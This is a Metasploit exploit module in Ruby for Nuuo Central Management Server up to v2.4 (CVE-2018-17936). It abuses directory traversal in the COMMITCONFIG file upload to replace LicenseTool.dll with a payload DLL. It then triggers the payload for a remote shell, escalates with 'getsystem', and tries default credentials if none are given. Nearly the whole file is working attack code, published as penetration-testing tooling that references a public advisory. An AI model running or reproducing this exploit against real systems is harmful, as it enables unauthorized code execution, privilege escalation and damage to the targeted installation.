1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ManualRanking
8

9
  include Msf::Exploit::EXE
10
  include Msf::Exploit::Remote::Nuuo
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => "Nuuo Central Management Server Authenticated Arbitrary File Upload",
17
        'Description' => %q{
18
          The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the
19
          CMS Server.
20
          The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\..\)
21
          characters. Therefore, this function can be abused to overwrite any files in the installation
22
          drive of CMS Server.
23

24
          This vulnerability is exploitable in CMS versions up to and including v2.4.
25

26
          This module will either use a provided session number (which can be guessed with an auxiliary
27
          module) or attempt to login using a provided username and password - it will also try the
28
          default credentials if nothing is provided.
29

30
          This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module
31
          fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will
32
          not execute successfully.
33
        },
34
        'License' => MSF_LICENSE,
35
        'Author' => [
36
          'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
37
        ],
38
        'References' => [
39
          [ 'CVE', '2018-17936' ],
40
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
41
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
42
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]
43
        ],
44
        'Platform' => 'win',
45
        'Arch' => ARCH_X86,
46
        'Targets' => [
47
          [ 'Nuuo Central Management Server <= v2.4.0', {} ],
48
        ],
49
        'Privileged' => true,
50
        'DisclosureDate' => '2018-10-11',
51
        'DefaultTarget' => 0,
52
        'Compat' => {
53
          'Meterpreter' => {
54
            'Commands' => %w[
55
              stdapi_sys_process_execute
56
              stdapi_sys_process_get_processes
57
              stdapi_sys_process_kill
58
            ]
59
          }
60
        },
61
        'Notes' => {
62
          'Reliability' => UNKNOWN_RELIABILITY,
63
          'Stability' => UNKNOWN_STABILITY,
64
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
65
        }
66
      )
67
    )
68

69
    self.needs_cleanup = true
70
  end
71

72
  def on_new_session(client)
73
    if client.type == 'meterpreter'
74
      print_warning('Please wait a bit while we clean up')
75
      client.sys.process.get_processes().each do |proc|
76
        if proc['name'] == 'NCS_Server.exe'
77
          client.sys.process.kill(proc['pid'])
78
          Rex.sleep(5)
79
          client.shell_command_token("move /y #{@dll} LicenseTool.dll")
80
          client.sys.process.execute('NCS_Server.exe')
81
          print_good('Successfully restored LicenseTool.dll!')
82
        end
83
      end
84

85
      # elevate privs to system (we're already Admin anyway), and we're done!
86
      client.run_cmd('getsystem')
87
      print_good('We should have SYSTEM now, enjoy your shell!')
88
    else
89
      print_error('You are not using meterpreter, so we are unable to restore LicenseTool.dll')
90
      print_error("To restore it, kill the NCS_Server.exe process and copy <CMS_FOLDER>\\#{@dll} to <CMS_FOLDER>\\LicenseTool.dll")
91
      print_error('... otherwise the Nuuo CMS installation will be nuked!')
92
      print_good('Anyway, enjoy your shell!')
93
    end
94
  end
95

96
  def upload_file(filename, data)
97
    res = ncs_send_request({
98
      'method' => 'COMMITCONFIG',
99
      'file_name' => "..\\..\\#{filename}",
100
      'user_session' => user_session,
101
      'data' => data
102
    })
103
  end
104

105
  def exploit
106
    connect
107
    res = ncs_login
108
    fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') unless res
109

110
    # Download and upload a backup of LicenseTool.dll, so that we can restore it at post
111
    # and not nuke the CMS installation.
112
    @dll = rand_text_alpha(12)
113
    print_status("Backing up LicenseTool.dll to #{@dll}")
114

115
    ltool = 'LicenseTool.dll'
116
    res = ncs_send_request({
117
      'method' => 'GETCONFIG',
118
      'file_name' => "..\\..\\#{ltool}",
119
      'user_session' => user_session
120
    })
121
    dll_data = res.body
122

123
    upload_file(@dll, dll_data)
124

125
    print_status('Uploading payload...')
126
    upload_file(ltool, generate_payload_dll)
127

128
    print_status('Sleeping 15 seconds...')
129
    Rex.sleep(15)
130

131
    print_status('Sending SENDLICFILE request, shell incoming!')
132
    res = ncs_send_request({
133
      'method' => 'SENDLICFILE',
134
      'file_name' => "#{rand_text_alpha(3..11)}.lic",
135
      'user_session' => user_session,
136
      'data' => rand_text_alpha(50..350)
137
    })
138
  end
139
end
140

141